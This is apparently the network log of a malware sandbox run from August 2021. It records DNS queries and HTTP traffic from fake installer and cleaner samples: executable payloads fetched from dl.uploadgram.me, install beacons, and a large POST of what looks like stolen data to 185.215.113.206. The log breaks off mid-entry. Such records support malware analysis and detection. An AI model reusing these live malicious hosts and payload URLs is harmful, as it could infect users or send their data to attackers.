                                                                                                                                                                                                                                          X-RateLimit-Remaining: 58
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:46 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://connectini.net/ip/check.php?duplicate=kenpachi2_registry_goodchannel_adxpertmedia_advancedmanager
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.210.44:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip/check.php?duplicate=kenpachi2_registry_goodchannel_adxpertmedia_advancedmanager HTTP/1.1
                                                                                                                                                                                                                                          Host: connectini.net
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:47 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.1.33
                                                                                                                                                                                                                                          X-Powered-By: PleskLin
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://connectini.net/ip/check.php?duplicate=kenpachi2_registry_goodchannel_kosmedia_Xtex
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.210.44:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip/check.php?duplicate=kenpachi2_registry_goodchannel_kosmedia_Xtex HTTP/1.1
                                                                                                                                                                                                                                          Host: connectini.net
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:47 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.1.33
                                                                                                                                                                                                                                          X-Powered-By: PleskLin
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://www.google-analytics.com/collect
                                                                                                                                                                                                                                          Cleaner_Installation.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          142.250.179.174:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /collect HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: NSIS_Inetc (Mozilla)
                                                                                                                                                                                                                                          Host: www.google-analytics.com
                                                                                                                                                                                                                                          Content-Length: 131
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:54 GMT
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Fri, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, must-revalidate
                                                                                                                                                                                                                                          Last-Modified: Sun, 17 May 1998 03:00:00 GMT
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          Content-Type: image/gif
                                                                                                                                                                                                                                          Cross-Origin-Resource-Policy: cross-origin
                                                                                                                                                                                                                                          Server: Golfe2
                                                                                                                                                                                                                                          Content-Length: 35
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://www.google-analytics.com/collect
                                                                                                                                                                                                                                          Cleaner_Installation.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          142.250.179.174:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /collect HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: NSIS_Inetc (Mozilla)
                                                                                                                                                                                                                                          Host: www.google-analytics.com
                                                                                                                                                                                                                                          Content-Length: 135
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:15 GMT
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Fri, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, must-revalidate
                                                                                                                                                                                                                                          Last-Modified: Sun, 17 May 1998 03:00:00 GMT
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          Content-Type: image/gif
                                                                                                                                                                                                                                          Cross-Origin-Resource-Policy: cross-origin
                                                                                                                                                                                                                                          Server: Golfe2
                                                                                                                                                                                                                                          Content-Length: 35
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://www.google-analytics.com/collect
                                                                                                                                                                                                                                          Cleaner_Installation.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          142.250.179.174:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /collect HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: NSIS_Inetc (Mozilla)
                                                                                                                                                                                                                                          Host: www.google-analytics.com
                                                                                                                                                                                                                                          Content-Length: 127
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:16 GMT
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Fri, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, must-revalidate
                                                                                                                                                                                                                                          Last-Modified: Sun, 17 May 1998 03:00:00 GMT
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          Content-Type: image/gif
                                                                                                                                                                                                                                          Cross-Origin-Resource-Policy: cross-origin
                                                                                                                                                                                                                                          Server: Golfe2
                                                                                                                                                                                                                                          Content-Length: 35
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          user.maskvpn.org
                                                                                                                                                                                                                                          MaskVPNUpdate.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          user.maskvpn.org
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          user.maskvpn.org
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          98.126.176.51
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          user.maskvpn.org
                                                                                                                                                                                                                                          MaskVPNUpdate.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          user.maskvpn.org
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          user.maskvpn.org
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          98.126.176.51
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:01 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1bhxLWXsgDh6NRsRPK0db6GDehFwqupYsgpCyB0evKBL6sJodd1J%2FeD9Ot8SOribcUs5dceBTGavhiyAkvZ21AyNyd7IP6bV0JjUeVyhk0CFy6v%2F5EM%2B1img8w%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232d896d6b0125-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          dl.uploadgram.me
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          dl.uploadgram.me
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          dl.uploadgram.me
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          176.9.247.226
                                                                                                                                                                                                                                        • GET
                                                                                                                                                                                                                                          https://dl.uploadgram.me/6120bc6269f31h?raw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /6120bc6269f31h?raw HTTP/1.1
                                                                                                                                                                                                                                          Host: dl.uploadgram.me
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.14.2
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:05 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-ms-dos-executable
                                                                                                                                                                                                                                          Content-Length: 255488
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          cache-control: max-age=31556926
                                                                                                                                                                                                                                          content-transfer-encoding: Binary
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          content-disposition: attachment; filename="sse.exe"; filename*=utf-8''sse.exe
                                                                                                                                                                                                                                          access-control-allow-origin: https://dl.uploadgram.me
                                                                                                                                                                                                                                          x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                          x-robots-tag: noindex
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • GET
                                                                                                                                                                                                                                          https://dl.uploadgram.me/6120bcfeb5393h?raw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /6120bcfeb5393h?raw HTTP/1.1
                                                                                                                                                                                                                                          Host: dl.uploadgram.me
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.14.2
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:09 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-ms-dos-executable
                                                                                                                                                                                                                                          Content-Length: 60928
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          cache-control: max-age=31556926
                                                                                                                                                                                                                                          content-transfer-encoding: Binary
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          content-disposition: attachment; filename="RuntimeBroker.exe"; filename*=utf-8''RuntimeBroker.exe
                                                                                                                                                                                                                                          access-control-allow-origin: https://dl.uploadgram.me
                                                                                                                                                                                                                                          x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                          x-robots-tag: noindex
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • GET
                                                                                                                                                                                                                                          https://dl.uploadgram.me/6120c8f91373ch?raw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /6120c8f91373ch?raw HTTP/1.1
                                                                                                                                                                                                                                          Host: dl.uploadgram.me
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.14.2
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:14 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-ms-dos-executable
                                                                                                                                                                                                                                          Content-Length: 344576
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          cache-control: max-age=31556926
                                                                                                                                                                                                                                          content-transfer-encoding: Binary
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          content-disposition: attachment; filename="ZcbpmrMv3Vr5ReA.exe"; filename*=utf-8''ZcbpmrMv3Vr5ReA.exe
                                                                                                                                                                                                                                          access-control-allow-origin: https://dl.uploadgram.me
                                                                                                                                                                                                                                          x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                          x-robots-tag: noindex
                                                                                                                                                                                                                                        • GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:14 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NJr8du5K0F7UbL%2BGPAxNz4GGcOk13O6NiOuMfVZbEgYdZphyjY%2BINxuT%2B88kqffdbWQ9FSx3vWyQD0ax7gF1IfifeGrzM47ql6FUpatASMEd%2Bfb7ReumBK6mWA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232ddb9ef7c785-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          34.201.81.34
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          54.224.34.30
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          54.243.129.215
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          54.208.186.182
                                                                                                                                                                                                                                        • GET
                                                                                                                                                                                                                                          https://paybiz.herokuapp.com/insrep/66E4C456-4693-414C-A7F8-1D540E32ADE3?apn=Cleaner&apv=1.1.2108A&cf=717&cid=717&sid=717&mid=3C17E53C-7DCD-4849-A57B-4B9F762A7F2C
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /insrep/66E4C456-4693-414C-A7F8-1D540E32ADE3?apn=Cleaner&apv=1.1.2108A&cf=717&cid=717&sid=717&mid=3C17E53C-7DCD-4849-A57B-4B9F762A7F2C HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: NSIS_Inetc (Mozilla)
                                                                                                                                                                                                                                          Host: paybiz.herokuapp.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: Cowboy
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: Express
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 0
                                                                                                                                                                                                                                          Etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:16 GMT
                                                                                                                                                                                                                                          Via: 1.1 vegur
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          t2.symcb.com
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          t2.symcb.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          t2.symcb.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          ocsp-ds.ws.symantec.com.edgekey.net
                                                                                                                                                                                                                                          ocsp-ds.ws.symantec.com.edgekey.net
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          e8218.dscb1.akamaiedge.net
                                                                                                                                                                                                                                          e8218.dscb1.akamaiedge.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          23.51.123.27
                                                                                                                                                                                                                                        • GET
                                                                                                                                                                                                                                          http://t2.symcb.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEHGgtzaV3bGvwjsrmhjuVMs%3D
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEHGgtzaV3bGvwjsrmhjuVMs%3D HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                                                                                          Host: t2.symcb.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Content-Type: application/ocsp-response
                                                                                                                                                                                                                                          Content-Length: 1525
                                                                                                                                                                                                                                          Cache-Control: public, max-age=86400
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:26 GMT
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          tl.symcd.com
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          tl.symcd.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          tl.symcd.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          ocsp-ds.ws.symantec.com.edgekey.net
                                                                                                                                                                                                                                          ocsp-ds.ws.symantec.com.edgekey.net
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          e8218.dscb1.akamaiedge.net
                                                                                                                                                                                                                                          e8218.dscb1.akamaiedge.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          23.51.123.27
                                                                                                                                                                                                                                        • GET
                                                                                                                                                                                                                                          http://tl.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSFBjxN%2BWY73bfUnSOp7HDKJ%2Fbx0wQUV4abVLi%2BpimK5PbC4hMYiYXN3LcCEHl9WWYEkVW%2Bvzg%2F%2BwvjKRA%3D
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSFBjxN%2BWY73bfUnSOp7HDKJ%2Fbx0wQUV4abVLi%2BpimK5PbC4hMYiYXN3LcCEHl9WWYEkVW%2Bvzg%2F%2BwvjKRA%3D HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                                                                                          Host: tl.symcd.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Content-Type: application/ocsp-response
                                                                                                                                                                                                                                          Content-Length: 1460
                                                                                                                                                                                                                                          Cache-Control: public, max-age=86400
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:26 GMT
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          dns.google
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          dns.google
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          dns.google
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          8.8.8.8
                                                                                                                                                                                                                                          dns.google
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          8.8.4.4
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • DNS
                                                                                                                                                                                                                                          trustmanager.ug
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          trustmanager.ug
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • POST
                                                                                                                                                                                                                                          http://185.215.113.206/k8FppT/index.php?scr=1
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /k8FppT/index.php?scr=1 HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: multipart/form-data; boundary=----5e4ff77556d0fef69d5313435b36c161
                                                                                                                                                                                                                                          Host: 185.215.113.206
                                                                                                                                                                                                                                          Content-Length: 89937
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:52 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Content-Length: 0
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                        • 37.0.8.235:80
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          156 B
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 37.0.11.8:80
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          156 B
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 104.21.5.208:80
                                                                                                                                                                                                                                          http://wfsdragon.ru/api/setStats.php
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          483 B
                                                                                                                                                                                                                                          890 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://wfsdragon.ru/api/setStats.php

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 37.0.10.237:80
                                                                                                                                                                                                                                          http://37.0.10.237/base/api/getData.php
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          1.7kB
                                                                                                                                                                                                                                          8.4kB
                                                                                                                                                                                                                                          14
                                                                                                                                                                                                                                          14

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.237/base/api/statistics.php

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://37.0.10.237/base/api/getData.php

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

